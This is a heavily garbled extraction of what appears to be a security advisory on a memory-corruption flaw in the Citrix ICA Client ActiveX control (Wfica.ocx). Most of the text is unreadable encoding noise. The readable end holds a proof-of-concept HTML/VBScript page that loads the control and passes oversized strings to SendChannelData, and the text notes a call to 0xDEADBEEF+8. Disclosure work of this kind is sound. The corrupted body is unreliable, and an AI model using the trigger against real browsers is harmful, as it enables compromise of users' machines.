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 �
 �� � �� �� � ��������������������������������������������������������������������������������������������� 
% $ � ��� � � ���! �# � � � � �� $ �% � � � �������������������������������������������������������������������������������������� 
*	 ��� 
 � � ��� 	 �+ �� 
 � �� � �! ��� � � � �! �������������������������������������������������������������������������������� 
� �� 
 ��� �� 	 
 �% $ � 	 , � ��������������������������������������������������������������������������������������������������� 
��� �� � �� 	 
 �% �� � ��	 � �������������������������������������������������������������������������������������������������� 
�$ � ��� � ��� � �� ��� �� ��� � �� 
 - ����������������������������������������������������������������������������������������� 

( ��� � �! ��� �) � �� ����������������������������������������������������������������������������������������������������� 
. ���) � ��� 	 �/�( � �� $ ��� �� � � ��� � �� ������������������������������������������������������������������������������������� 
�$ � �� � 	 �� � � �� ����$ �� �� 	 
 �� $ � �� ���� � - �������������������������������������������������������������������������� 
�$ � ���� ��$ � ��� � � � ��� ��� � � �� ��� ��� 	 - ������������������������������������������������������������������������������� 
� 0 ���*� � � � ���� � �� � ������������������������������������������������������������������������������������������������� 

� 0 ���
 � �� ��� ���1 � � � �. � ���� � �2�� � �� 3�45 ��������������������������������������������������������������������� 
� 0 ���
 � �� ��� ���% � � � � �� ��. � ���� � �2�� � �� 3� � 5������������������������������������������������������������� 
� 0 ���
 � �� ��� ���6 	 � ��� 	 � � 	 �� ��. � ���� � �2�� � �� 3�7�85 ������������������������������������������������������ 

0 � �	 � �� � �� ����� �
 � �� ��� ������������������������������������������������������������������������������������������������ 
�� � � ���� �� �	 � �! �� $ � � , � � � � �������������������������������������������������������������������������������������� 

6 � � �� ���� � �� ��� ���������������������������������������������������������������������������������������������������������� 
�$ � ���$ � �*� � � � �6 � � �� ��� �/�9 �) $ �: � � � ��0 �� � ���������������������������������������������������������������� 
� ��� � , � ��� � 	 ��� ��� � �� �1 � ��� ����; � ����������������������������������������������������������������������������� 
� ��� � , � ��
 ��� 	 
 �! �� � �� �% ! � � �� � 	 ��� �������������������������������������������������������������������������� 

�$ � ���$ � �*� � � � �6 � � �� ��� �/�� � � � � � �! �0 �� � ��������������������������������������������������������������������� 
< � �� �# � ) � �
 �	 ) �=0 � ��
 >�? � � ���� � �% ��) ) � ��� � �� ������������������������������������������������������������ 

( �� � ��� ��� � 	 � � � ��� � 
 � �/����) ) � ����� ��� �� � , �� � � �� �� ����������������������������������������������������������� 
��� � , �( �� � ��� ��� � 	 � � � ���� �� � 	 � $ � � ����������������������������������������������������������������������������	 
( �� � ��� ��� � 	 � � � ��� � 
 � �/����) ) � ����� ��$ � � � �� � � �� �� ��������������������������������������������������������
� 

< � �� �# � ) � �
 �	 ) �9 � � � �� �� � � ���� � ��� 	 ����������������������������������������������������������������������
� 
9 � � � �( �� � ��� ��� � 	 � � � ���� �� � 	 � $ � ����������������������������������������������������������������������������
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% $ � ��	 �� �� � ��� 	 ��	 ��$ �� �� 
 � �� � �! ��� �� � � ! ��) $ ���� �  �
 � ��� � 	 � � ���� &���*���� �� �� � �
 � 
 �� � ��$ � ��� � ��
� � � �� � � �� �� 	 
 �� �$ � �� �� 	 
 � �� �� 	 
 ��$ � ���� , ��$ � ! �� � ! �� � ��� � �	 ) �� ! ��� 	 	 �	 ) �� ��� � �� 
 �� � ��� � �� �� 	 �
�$ � ���� ! � �� � � ��

*	 �� � � � �! � � �� �� $ ��� �� � � ! ��	 �� �� � ��� 	 ���� � ��$ �� �� 
 � �� � �! '�! � � �� � � ��� ��$ � ��� � � ! �� ���� ������ ���� �� ���� �
�$ �� �
 � � � � � 	 ���

< � �) � � �� 	 �� � ��� �� �� � �
 � 
 ��� ���$ � �� � � � �� � ! �� ���$ �� ��	 �� �� � ��� 	 '�� ��
 � � � ) � �! � � �� � ! �� � � � � �! � � ��
� ! � �� � � ��	 ��� � ��	 ) ���

���������������������������

% $ �� �� 
 � �� � �! �$ � � �� � � 	 �
 �� � � � � �� 
 �� ! �
 � ��� � 	 � � ��� ��� � � ���! �# � � � � �� $ �% � � � ��� � 
 '�� 	 
 �� � �
� $ ��� �� 	 � � 	 ��


 � ��� � 	 � � ����� �� �� � � � �� ��� ���	 ��� � $ 	 �� � ��� � �� �� � � �� ��$ �	 ��$ � ���� �
 �� ��*% �� � � � ���! ���� �� �� �� � �	 � �� � ����! �
� � � � ��� ��$ � ��$ � �� �� � � �	 � � � �� 	 �� �� ��� � � ��� �� �� �� � ���$ � � � � �� � � �� ) � �	 � ���$ � �	 � � � �� � � �� � � � ���! �
�$ �� � �� ��$ � ��� � �� ���� 
 � ! �/�� � �$ �� � ��� � � ���� ��� � 	 � � ��� 	 �� �� 	 
 �� ��$ ��� � � � 	 � �� ����! ��� ��� � � � ���� ��� � , � ��
? � ��� ��� � �! �� � �� �� � � �� �� �� � � � ���! ��� � �� �� 	 
 �� �� � ��� � ��! �� ��� 	 �� 
 �� � � � ���! �� � 	 � � ��� 	 � ! ��
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� 	 �� � ��� � � �� � � � � 	 � 	 ��
 �� ���� � �� 
 �� � �� � ���� ���$ � �� ����� �� ��� 	 �'�� � , � � ����� � � � �� �� ��� �� ��� � , �
� � � $ �	 � � ��$ � ���$ �� �� � � � � 	 � 	 ���� ��	 � �� ��� 
 �� 	 ���� � �� � ��� �� � � �� � � � ��� � ���

. � � $ �	 � � �� $ �� $ �$ � � � �� ����� ��	 � �� ��� 
 �� 	 ����� � 	 �� � �� � � � �� � �� � 
 ����*	 �� �	 � ��6 � � �� �� ��2� ���	 �� � � � �
� � � � � '�
 ��� �� � �� ��$ �� � ��� � � �� �� ) �	 �� � �� 	 � �� 	 � 5��� �� � � 
 ��� �� �� ���� �� � ��� �� � � �� � � �� � ) � ��� < ��
� � 	 �� � �� ��� 	 �� � 	 �� � , � ����� � � � �� �� ��� �� � � �� ���� � � � �� ��$ � ���	 �� 	 
 � 
 ��� �� �� ���$ � �� �� � � �� ��� � '��� ��
� � � � � �� �� < < �� ��A � � ) �� ���
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� ? . # � �
 � ��� � � �� � � 
 ��� �� � ��� � ���� 	 � ��� 	 �� �� �� �! � � ��	 �� �� � ��� 	 �� 	 
 �
 � ��	 ���� ���� � ��	 ) �� 	 ��$ �� �
� � � � � 	 � 	 ����$ � ��� � 
 � �� � � ��� , � 	 ���� � �. � �� � � �� ����% $ � 	 , � ��� �� � 	 �
 � � �� $ �� 	 
 �� � 	 	 �� �# � 	 
 ��� ��
� � ��� �� �	 ) �� � � ���� � �� � �� 	 ��$ �� �� 
 � �� � �! ��

��������
��������
��

�� � �� � � � ��B 8�$ '��� �  � � *� � � � �� �� � � � � �! �

�� � �� � � � ��B 4�$ '��� �  � � *� � � � �# � � � ��� 
 ��

�� � �� � � � ��B 4�$ '��� �  � � ����� �� � 	 ���� � ��� � � � '�$ � � �	 � �� �� 	 	 � 
 ���� �
 � �� �! � ���

�� � �� � � � ��B C�$ '��� �  � D 	 � ���� �� ���	 �� �� � ��� 	 �� �� � �
 � 
 �� ! �E � �� �� � ! �
*	 ���� ��� � ��	 
 �� � �� � ��$ �� ��� � � � �$ � � �� ��� � 
 ! �
�	 
 � � � 	 
 � 	 ��! �� � � 	 �
 �� � � � � �� 
 �� ! �� �$ � �� ��

� � � � � � � ��F�$ '��� �  � � ( �� 	 	 � 
 �� � � �
 �	 � �� 
 �( � � ��� �# � �� � � � �� � �� �

� � � � � � � ��7�$ '��� �  � � D � 
 � �� 
 �� ��$ �� � �� $ ��	 �� �� � ��� 	 ���� � �� ����� �



�� � �� � � � ���� �  '�( � ) � �8'�� � � ! ��) $ ��
 � ��� � 	 � � ��'�� � � ��� ��� � 	 � � ���	 � ��

�

������������������������� �

% $ �� �� � � ��� � ��$ � �� ����� �� ��� 	 ������ �	 � � � 
 �G� ��� � �� � � G'�� $ �� $ �� � 	 �� � ��� �� �� 	 � � 
 �� ! ��$ � ��� ��� � �	 ) �
A D *� 3�� �

{238F6F83-B8B4-11CF-8771-00A024541EE3}  

�

% $ � �� �� ) �� � �� �����! � �� � ��! �� � �� �� � � 
 ��	 ��$ � ��� ��� � �	 ) ��� � � ��� 	 �� 	 �
 �� , 3�

C:\Program Files\Citrix\ICA Client\Wfica.ocx  

�


 � ���$ � �� � �� � � � � �� ���$ �� ��� � �'��$ � ��� �� � ��*� � �� ��� 	 ��2� � �� �� 	 �C��� � '��� �� � � � �
 � �� �F&B  &�� �  5�� � � �

 � � 	 �� � 
 � 
 �� 	 ��� � �� � � � ��B F�$ '��� �  '���� � �� ����� H� �� � � � ��� '�� ! �� �� ���	 ) ��$ � ��� ��� � �	 ) �D # : 3�

�

� http://www.citrix.com/English/SS/downloads/detail
s.asp?dID=2755&downloadID=25368&pID=186  

� � �� � � � 	�� � � � �� 	

�$ ��� ��� 	 � ��� 	 �	 ) �� � � �� ���� � 
 � �$ � � �� 	 �! �� � � 	 �� �� 
 � � � 
 ��� ���$ � ���	 
 � � � ��� � � �0 . �� �� ��� � ��
� ! � �� � '�� �( �� � ��� ��� � 	 � � � ��� $ �� $ ����) ) � �� �� $ � ��� � � � � �� ��� �� � �� 	 �� � � �� ��� � �� �� � � ���� � �$ � � �
� � � � � 
 �� �� �� � $ �� 	 �� �$ � ��� ! � �� � ��! � � � 3�

�

• ��	 
 � � � ��� � @�2D ��&�*	 �� �	 � ��� 	 � �5�

• ��	 
 � � � �� ( �2� � 	 �� $ '�< � �� � ) �� 	 5�

• ��	 
 � � � ��� � � ��( 8�2� � 	 �� $ 5�

�

% $ � ��� �� � ��� � �� �� 	 �� ���$ � �� � ��� � �� �� � � ��� � �� �� ���$ � ���� � �� ��� ����	 ) �2C��� � 5�� 	 
 �� � �� �� 	 �7�� �B 7F@8�� �
$ � � � �� � �$ �� � � 	 �� $ � � , � 
 ��� ���$ � �� � �	 � �� � ����! '�� 	 
 �� � �$ �� � � � � ��� � �	 � �� � �� ��% $ � �� �� � ��� ��� � 	 � � � ��
� � � �� ���$ � � �� � � 	 �� �� ��� 
 �� � �	 ) �C��� � �88@7 �� I�
 � � ��� ���� � �� � 	 � ��� �	 �� �� � �	 � �� � ����! �� ��� �$ � ��
� � �� �� 	 � ��� ��$ �� �� � � � ���� �� � � �� ���$ � � � �	 � ��� � � 	 �� $ � � , � 
 ��

!��������
�"�#������������������

� ����� �� � � � ���! �$ � � �� �� � �
 � 
 ��$ � ��� ��� � �	 ) ���� ��	 �� �� � ��� 	 3�
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�����! "##� � � �� ������� � #$ 	� ����#��#��� 	�����#��� 	��������! % �&' ( � ) * * �����



�� � �� � � � ���� �  '�( � ) � �F'�� � � ! ��) $ ��
 � ��� � 	 � � ��'�� � � ��� ��� � 	 � � ���	 � ��

�

������
��$
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The following screenshot shows when a similar trigger was used to cause the program 
to attempt to call to 0xDEADBEEF+8. 

 



�� � �� � � � ���� �  '�( � ) � �B � '�� � � ! ��) $ ��
 � ��� � 	 � � ��'�� � � ��� ��� � 	 � � ���	 � ��

�

#����(��(	�
��
��	����"�����������������
��$
�����

% $ � ��� ��� � �	 ) �9 % . : �� � 
 � �� � � �� � � 
 ��� ����) ) � ��� $ � ��� � � � � �� ��� �� � �� 	 �� � � ��! �� � � �� ��� � �� �$ � � � �� � ) 3�

<html> 
 <head> <title>Citrix ActiveX Caller</title> </head> 
 <body> 
       <OBJECT id="Security" width=500 height=500 
               classid="CLSID:238F6F83-B8B4-11CF-8771-
00A024541EE3"> 
               <SPAN STYLE="color:red">Congrats. You aren't 
vulnerable.</SPAN> 
       </OBJECT> 
       <script language=vbscript> 
  spamA = 
"PAYLOADPAYLOADPAYLOADPAYLOADPAYLOADPAYLOADPAYLOAD" 
  spamB = "AAAAAAAA" + 
"CCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" + "BBBBBBBB" + 
"DDDDDDDD11111111" + String(160,"C") 
         msgbox "attach debugger" 
                Security.SendChannelData spamA,spamB,1,1 
       </script> 
 </body> 
</html> 
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